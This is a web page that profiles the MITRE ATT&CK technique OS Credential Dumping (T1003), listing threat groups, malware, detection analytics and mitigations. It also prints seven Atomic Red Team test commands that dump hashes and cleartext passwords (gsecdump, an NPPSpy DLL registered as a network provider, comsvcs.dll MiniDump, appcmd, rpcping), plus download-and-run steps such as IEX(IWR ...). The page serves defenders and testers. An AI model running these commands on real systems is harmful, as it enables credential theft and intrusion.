tfMITRE ATT&CK technique

OS Credential Dumping T1003

Tactic: Credential Access
Platforms: Linux, macOS, Windows
Version: 2.2
Created: 31 May 2017
Last modified: 24 October 2025
Contributors: Vincent Le Toux; Ed Williams, Trustwave, SpiderLabs; Tim (Wadhwa-)Brown; Yves Yonan

Sub-techniques 8196 rules across the family · 50 mapped directly to T1003 · 7 of 8 carry rules

.001LSASS Memory90 .002Security Account Manager36 .003NTDS30 .004LSA Secrets13 .005Cached Domain Credentials9 .006DCSync10 .007Proc Filesystem0 .008/etc/passwd and /etc/shadow3

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.[1] Credentials can then be used to perform Lateral Movement and access restricted information.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 14%

Threat groups86th percentile · 86% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware71st pct

Tools & malware71st percentile · 71% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 5%

Detection rules95th percentile · 95% of ATT&CK techniques have this many detection rules written or fewer.

OS Credential Dumping MITRE reference T1003

Top 14%of all ATT&CK techniques for number of groups

13 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Storm-0501G1053 ↗

Has used the SecretsDump module within Impacket can perform credential dumping to obtain account and password information.1

created 2025-10-191 reference

BlackByteG1043 ↗

Used tools such as Cobalt Strike and Mimikatz to dump credentials from victim systems.1 2

created 2024-12-162 referencesaka Hecamede

Ember BearG1003 ↗

Gathers credential material from target systems, such as SSH keys, to facilitate access to victim environments.1

created 2022-06-091 referenceaka UNC2589

Tonto TeamG0131 ↗

Has used a variety of credential dumping tools.1

created 2021-05-051 referenceaka Earth Akhlut

Mustang PandaG0129 ↗

Utilized “Hdump” to dump credentials from memory.1

created 2021-04-121 referenceaka TA416

APT39G0087 ↗

Has used different versions of Mimikatz to obtain credentials.1

created 2019-02-191 referenceaka ITG07

All 13 groups for this technique · 6 newest in this preview

7 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

MgBotS1146 ↗

Includes modules for dumping and capturing credentials from process memory.1

created 2024-07-25MALWAREcarried by 1 group

Revenge RATS0379 ↗

Has a plugin for credential harvesting.1

created 2019-05-02MALWAREcarried by 2 groups

HOMEFRYS0232 ↗

Can perform credential dumping.1

created 2018-04-18MALWAREcarried by 1 group

Trojan.KaraganyS0094 ↗

Can dump passwords and save them into \ProgramData\Mail\MailAg\pwds.txt.1

created 2017-05-31MALWAREcarried by 1 group

OnionDukeS0052 ↗

Steals credentials from its victims.1

created 2017-05-31MALWAREcarried by 1 group

PinchDukeS0048 ↗

Steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).1

created 2017-05-31MALWAREcarried by 1 group

All 7 software entries for this technique · 6 newest in this preview

Offense vs defense T1003

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 41Splunk ESCU (cumulative) · 9

first rule: 2017 Q1

OS Credential Dumping detection strategy DET0234

MITRE names one behaviour worth catching for this technique and breaks it into 3 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Credential Dumping via Sensitive Memory and Registry Access Correlation

Enterprise

3 platforms

AN0648 · Windows

Processes accessing LSASS memory or SAM registry hives outside of trusted security tools, often followed by file creation or lateral movement. Detects unauthorized access to sensitive OS subsystems for credential extraction.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10
File AccessDC0055	WinEventLog:Security	EventCode=4663, 4670, 4656
Active Directory Object AccessDC0071	WinEventLog:Security	EventCode=4662

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AccessMask	Set to detect full access rights (0x1F0FFF) or modify based on tool behavior.
TimeWindow	Define how soon access to LSASS is followed by suspicious file or registry activity.
ParentProcessFilter	Allowlist known security tools or system processes accessing LSASS.

AN0649 · Linux

Processes opening /proc/*/mem or /proc/*/maps targeting credential-storing services like sshd or login. Behavior often includes high privilege escalation and memory inspection tools such as gcore or gdb.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
Process AccessDC0035	auditd:SYSCALL	ptrace
File AccessDC0055	auditd:SYSCALL	open

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TargetProcessName	Define sensitive targets (e.g., sshd, login) being memory-read.
ToolProcessName	Flag use of memory dump tools like gcore, gdb, pmap.

AN0650 · macOS

Unsigned processes accessing system memory or launching known credential scraping tools (e.g., osascript, dylib injections) to access the Keychain or sensitive memory regions.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:osquery	Invocation of osascript or dylib injection
Process MetadataDC0034	macos:unifiedlog	Code Execution & Entitlement Access
File AccessDC0055	macos:keychain	Access to Keychain DB or system.keychain

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
KeychainAccessPath	Path to watch for abnormal access, e.g., /Library/Keychains/
SignedBinaryStatus	Filter out signed/trusted binaries.

Active Directory ConfigurationM1015

Manage the access control list for “Replicating Directory Changes All” and other permissions associated with domain controller replication. Consider adding users to the "Protected Users" Active Directory security group. This can help limit the caching of users' plaintext credentials.

Behavior Prevention on EndpointM1040

On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing.

Credential Access ProtectionM1043

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping.

Encrypt Sensitive InformationM1041

Ensure Domain Controller backups are properly secured.

Operating System ConfigurationM1028

Consider disabling or restricting NTLM. Consider disabling WDigest authentication.

Password PoliciesM1027

Ensure that local administrator accounts have complex, unique passwords across all systems on the network.

Privileged Account ManagementM1026

Windows: Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. Linux: Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory.

Privileged Process IntegrityM1025

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.

User TrainingM1017

Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.

Tests7ExecutorsPowerShell 6 · cmd 1Need elevation5 of 7Have prerequisites4Have cleanup2Platformswindows

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Gsecdump windows cmd Required 1 —

Dump credentials from memory using Gsecdump. Upon successful execution, you should see domain\username's followed by two 32 character hashes. If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. You will receive only error output if you do not run this test from an elevated context (run as administrator) If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.

Input arguments

Name	Type	Default	Description
gsecdump_exe	path	PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe	Path to the Gsecdump executable
gsecdump_url	url	https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe	Path to download Gsecdump binary file
gsecdump_bin_hash	string	94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC	File hash of the Gsecdump binary file

Attack command

"#{gsecdump_exe}" -a

Prerequisite

Gsecdump must exist on disk at specified location (#{gsecdump_exe})

Check

if (Test-Path "#{gsecdump_exe}") {exit 0} else {exit 1}

Satisfy

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
  Move-Item $binpath "#{gsecdump_exe}"
}

GUIDeadef3d4-809a-400e-8fe0-35b17f4ad186

02 Credential Dumping with NPPSpy windows PowerShell Required 1 Yes

Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

Attack command

Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"

Cleanup command

$cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER 
$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''
Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUpdatedValue
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -ErrorAction Ignore
Remove-Item C:\NPPSpy.txt -ErrorAction Ignore
Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore

Prerequisite

NPPSpy.dll must be available in ExternalPayloads directory

Check

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll") {exit 0} else {exit 1}

Satisfy

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll"

GUIDd337b9b9-f715-40b9-8824-5af2dc5ab68a

03 Dump svchost.exe to gather RDP credentials windows PowerShell Required — Yes

The svchost.exe contains the RDP plain-text credentials. Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/ Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.

Attack command

$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full

Cleanup command

Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore

GUID2457dd26-a85c-454c-b6b2-ac867166d1c2

04 Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list) windows PowerShell Required 1 —

AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. Reference

Attack command

C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*

Prerequisite

IIS must be installed prior to running the test

Check

if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}

Satisfy

Install-WindowsFeature -name Web-Server -IncludeManagementTools

GUID41e7c702-54d7-4fc2-b89a-467a6fc43763

05 Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config) windows PowerShell Required 1 —

AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes. Reference

Attack command

C:\Windows\System32\inetsrv\appcmd.exe list apppool /config

Prerequisite

IIS must be installed prior to running the test

Check

if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}

Satisfy

Install-WindowsFeature -name Web-Server -IncludeManagementTools

GUID21add8ab-c0fe-4363-a793-b2576f4542b7

06 Dump Credential Manager using keymgr.dll and rundll32.exe windows PowerShell — — —

This test executes the exported function KRShowKeyMgr located in keymgr.dll using rundll32.exe. It opens a window that allows to export stored Windows credentials from the credential manager to a file (.crd by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.). Reference: https://twitter.com/0gtweet/status/1415671356239216653

Attack command

rundll32.exe keymgr,KRShowKeyMgr

GUID94f51515-35c4-4bed-9364-afc07e48df85

07 Send NTLM Hash with RPC Test Connection windows PowerShell — — —

RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. Ref: https://twitter.com/vysecurity/status/974806438316072960

Input arguments

Name	Type	Default	Description
server_ip	string	127.0.0.1	Specify the server IP address. If not specified, the loop back IP will be used
custom_port	integer	1234	Specify the custom port number

Attack command

rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null

GUID7c3603e6-8402-4987-a008-97d2916b7df4

Tests from Atomic Red Team (MIT licence) · technique definition

OS Credential Dumping detections T1003

50 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 5%of all ATT&CK techniques for number of rules

Product

(none) 1

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs